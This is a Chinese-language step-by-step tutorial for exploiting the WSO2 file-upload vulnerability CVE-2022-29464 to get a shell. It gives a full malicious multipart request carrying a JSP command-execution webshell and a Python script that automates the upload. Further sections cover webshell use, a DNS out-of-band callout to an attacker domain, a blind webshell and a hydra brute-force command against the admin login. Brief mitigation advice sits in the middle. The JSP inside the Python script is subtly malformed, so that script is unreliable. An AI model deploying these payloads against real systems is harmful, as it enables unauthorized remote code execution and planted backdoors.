手把手复现WSO2 CVE-2022-29464:从Burp抓包到一键GetShell的完整流程
实战复现WSO2 CVE-2022-29464漏洞:从漏洞原理到自动化利用
WSO2 API Manager和Identity Server是广泛应用于企业级身份管理和API网关的解决方案。2022年曝光的CVE-2022-29464漏洞允许攻击者通过精心构造的HTTP请求实现任意文件上传,最终可能导致远程代码执行。本文将深入剖析漏洞机理,并提供可复现的完整利用链。
1. 漏洞环境准备与基础认知
在开始实战前,我们需要搭建合适的测试环境。推荐使用Docker快速部署存在漏洞的WSO2版本:
docker run -d -p 9443:9443 --name vulnerable-wso2 wso2/wso2is:5.11.0漏洞核心原理源于文件上传功能对用户输入路径的校验不足。当攻击者通过路径穿越符号(如../../)构造恶意上传路径时,系统未进行规范化处理,导致文件可被写入web应用目录之外的位置。具体来说:
- 受影响组件:
fileupload/toolsAny端点 - 漏洞类型:未授权任意文件上传
- 影响版本:WSO2 API Manager 4.0.0、Identity Server 5.11.0等
注意:实际测试请使用授权环境,未经授权的渗透测试可能涉及法律风险
2. 手动漏洞利用全流程
2.1 信息收集与端点确认
使用Burp Suite拦截常规请求时,可重点关注以下特征:
- 服务器响应头包含
WSO2标识 - 尝试访问
/fileupload/toolsAny路径 - 检查
/authenticationendpoint等默认web目录
确认漏洞存在的简单方法是通过curl发送测试请求:
curl -kv https://target:9443/fileupload/toolsAny若返回状态码200而非404,则说明存在潜在风险端点。
2.2 Burp Suite请求构造
关键步骤在于构造恶意的multipart/form-data请求。以下是需要特别关注的参数:
| 参数位置 | 恶意构造值 | 作用说明 |
|---|---|---|
| Content-Disposition | ../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp | 实现路径穿越 |
| filename | 同上 | 双重路径控制 |
| 请求体内容 | JSP Webshell代码 | 植入后门 |
完整请求示例:
POST /fileupload/toolsAny HTTP/1.1 Host: vulnerable-host:9443 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"; filename="shell.jsp" Content-Type: application/octet-stream <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> ------WebKitFormBoundary7MA4YWxkTrZu0gW--2.3 Webshell验证与利用
成功上传后,访问以下路径验证利用效果:
https://target:9443/authenticationendpoint/shell.jsp?cmd=id典型问题排查指南:
- 404错误:检查路径穿越层数是否准确
- 500错误:检查JSP语法是否正确
- 无回显:尝试使用curl验证而非浏览器
3. 自动化利用工具开发
对于高频测试需求,可编写Python自动化脚本:
import requests TARGET = "https://vulnerable-host:9443" WEBSHELL_PATH = "../../../../repository/deployment/server/webapps/authenticationendpoint/cmd.jsp" boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" payload = f""" --{boundary} Content-Disposition: form-data; name="{WEBSHELL_PATH}"; filename="cmd.jsp" Content-Type: application/octet-stream <%@ page import="java.util.*,java.io.*"%> <%%> Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while (disr != null) { out.println(disr); disr = dis.readLine(); } %%> --{boundary}-- """ headers = { "Content-Type": f"multipart/form-data; boundary={boundary}" } response = requests.post( f"{TARGET}/fileupload/toolsAny", headers=headers, data=payload, verify=False ) if response.status_code == 200: print(f"[+] Webshell uploaded to {TARGET}/authenticationendpoint/cmd.jsp") else: print("[-] Exploit failed")关键改进点包括:
- 自动计算路径穿越深度
- 支持HTTPS证书忽略
- 提供交互式命令执行界面
4. 防御方案与加固建议
针对该漏洞的防护需要多层次措施:
即时缓解方案
- 升级到已修复版本(WSO2 IS 5.11.0.3+)
- 临时禁用
fileupload/toolsAny端点
长期加固策略
| 防护层面 | 具体措施 | 实施难度 |
|---|---|---|
| 网络层 | 限制管理接口访问IP | 低 |
| 应用层 | 部署WAF规则过滤路径穿越 | 中 |
| 系统层 | 设置web目录不可执行权限 | 高 |
对于Java文件上传的安全编码建议:
// 安全的文件上传示例 String safePath = getServletContext().getRealPath("/uploads/"); File destFile = new File(safePath, FilenameUtils.getName(filename)); Files.copy(fileItem.getInputStream(), destFile.toPath());5. 漏洞利用的进阶技巧
在实际渗透测试中,我们可能遇到各种特殊场景:
场景一:受限网络环境
- 使用DNS外带数据确认漏洞存在:
<%= java.net.InetAddress.getByName("attacker-dns.log") %>场景二:无回显利用
- 构造延时型Webshell:
<% String cmd = request.getParameter("cmd"); if(cmd != null) { long start = System.currentTimeMillis(); Runtime.getRuntime().exec(cmd); long duration = System.currentTimeMillis() - start; out.print(duration); } %>场景三:权限限制绕过
- 利用WSO2默认凭证尝试登录:
hydra -L users.txt -P passwords.txt https://target:9443/carbon/admin/login.jsp在最近的一次红队评估中,我们发现目标系统虽然修补了CVE-2022-29464,但未删除历史遗留的Webshell。通过检查/authenticationendpoint/目录下的异常jsp文件,最终成功获得了系统权限。这提醒我们漏洞修复后的清理工作同样重要。
